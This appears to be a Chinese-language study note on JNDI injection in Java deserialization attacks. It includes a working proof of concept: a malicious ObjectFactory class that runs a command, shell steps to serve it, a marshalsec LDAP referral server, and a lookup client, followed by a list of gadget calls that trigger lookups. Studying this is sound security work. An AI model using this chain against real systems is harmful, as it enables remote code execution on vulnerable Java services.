反序列利用的时候经常会用到jndi加载远程class,原理是什么?
什么是JNDI
什么是JNDI Injection
- rmi:// com.sun.jndi.url.rmi.rmiURLContext
- ldap:// com.sun.jndi.url.ldap.ldapURLContext
- ldaps:// com.sun.jndi.url.ldaps.ldapsURLContextFactory
- iiop:// com.sun.jndi.url.iiop.iiopURLContext
- dns:// com.sun.jndi.url.dns.dnsURLContext
- iiopname:// com.sun.jndi.url.iiopname.iiopnameURLContextFactory
- corbaname://
POC
启动http server存放Exploit.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16# file Exploit.java
import java.io.IOException;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class Exploit implements ObjectFactory {
public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) {
Runtime.getRuntime().exec("open -a calculator");
return null;
}
}1
2$ javac Exploit.java
$ python -m SimpleHTTPServer 8000启动jndi server
1
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0:8000/#Exploit
jndi poc
1
2
3
4
5
6
7
8
9
10import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndiInjection {
public static void main(String[] args) throws NamingException {
Context ctx = new InitialContext();
Object local_obj = ctx.lookup("ldap://127.0.0.1:1389/Exploit");
}
}
分析
调用链:
-> RegistryContext.decodeObject()
-> NamingManager.getObjectInstance()
-> factory.getObjectInstance()
Tips:JNDI查找远程对象时InitialContext.lookup(URL)的参数URL可以覆盖一些上下文中的属性,比如:Context.PROVIDER_URL。
通过URL下载class object
decode class
注册
调用getObjectInstance完成实力化
扩展
哪些间接调用了jndi lookup?
- JtaTransactionManager.readObject()
- JdbcRowSetImpl.execute()
- JdbcRowSetImpl.prepare()
- JdbcRowSetImpl.connect()
- InitialContext.lookup(dataSource)
疑问
jndi加载远程class文件,其中也涉及到反序列化,可以不依赖getObjectInstance,直接反序列化达到命令执行吗?
序列化
class